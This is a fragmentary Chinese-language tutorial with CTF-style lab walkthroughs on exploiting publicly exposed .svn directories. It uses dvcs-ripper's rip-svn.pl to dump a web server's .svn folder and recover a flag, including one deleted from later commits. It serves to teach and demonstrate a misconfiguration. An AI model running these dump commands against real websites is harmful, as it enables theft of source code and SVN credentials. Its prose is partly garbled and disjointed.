SVN 維基介紹:https://zh.wikipedia.org/wiki/Subversion
SVN 安裝介紹:https://blog.hungwin.com.tw/windows-server-svn-server-install/
SVN 命令教學:https://www.runoob.com/svn/svn-intro.html
SVN 與 Git 差異:https://www.twblogs.net/a/5c893efdbd9eee35fc148c46
SVN 與 Git 入門比較:https://codertw.com/程式語言/459573/
SVN 與 Git 指令比較:https://backlog.com/git-tutorial/tw/reference/git-svn.html#sec1
git pull
,也就是從 svn 伺服器抓取最新版).svn/pristine/XX/XXX.svn-base
路徑底下看到多個檔案。 也因此,駭客將 .svn 下載下來後,由於通常無法連線到組織內部的 SVN 伺服器,因而無法隨意回溯到過去的任意歷史版本中,只能看到當前版本的內容與 ****pristine
路徑底下的原始碼 。.svn/entries
獲取到伺服器原始碼、svn伺服器帳號密碼等資訊.svn/text-base/XX/XXX.svn-base
(舊版本 SVN 路徑,會存放原始碼檔案副本).svn/pristine/XX/XXX.svn-base
(新版本 SVN 路徑,會存放原始碼檔案副本)./dvcs-ripper/rip-svn.pl -v -u <網址/.svn>
ls -al
cat <找到的檔案>
tree .svn
cat <.svn/pristine/目錄/檔案.svn-base>
# Install apache
sudo apt install apache2 php
# Install SVN
sudo apt install subversion libsvn-dev
# Create Repo
cd ~
svnadmin create svn_2
# Checkout repo in public web folder
cd /var/www/html
sudo svn co file:///home/alan/svn_2
# Take ownership
cd svn_2
sudo chown -R "$(whoami)" .
# Create Flag
echo -e "<?php \n# My flag is: FLAG{Pu8L1c_SVN_rePO_15_D4N93rOuS} \n?>\nYou cannot see the flag" > index.php
svn add index.php
svn commit -m "Add flag"
# Install Dependencies
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
# Download Tool
git clone https://github.com/kost/dvcs-ripper.git
# Create Output Folder
mkdir dump && cd dump
# Dump
../dvcs-ripper/rip-svn.pl -v -u http://172.16.28.2/svn_2/.svn
# Show Flag
cat index.php
# Install apache2
sudo apt install apache2 php
# Install SVN
sudo apt install subversion libsvn-dev
# Create Repo
cd ~
svnadmin create svn_1
# Checkout repo in public web folder
cd /var/www/html
sudo svn co file:///home/alan/svn_1
# Take ownership
cd svn_1
sudo chown -R "$(whoami)" .
# Create Flag
echo "My flag is: FLAG{Pu8L1c_SVN_rePO_15_D4N93rOuS}" > index.php
svn add index.php
svn commit -m "Add flag"
# Delete Flag
echo "My flag is disappear :D" > index.php
svn commit -m "Delete flag"
# keep going~
echo "No flag forever ~" > index.php
svn commit -m "Lalala"
# Install Dependencies
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
# Download Tool
git clone https://github.com/kost/dvcs-ripper.git
# Create Output Folder
mkdir dump && cd dump
# Dump
../dvcs-ripper/rip-svn.pl -v -u http://172.16.28.2/svn_1/.svn
# Show Flag
tree .svn
cat .svn/pristine/11/1127bde982aa7d9c569433b988b09e760cbcbdc8.svn-base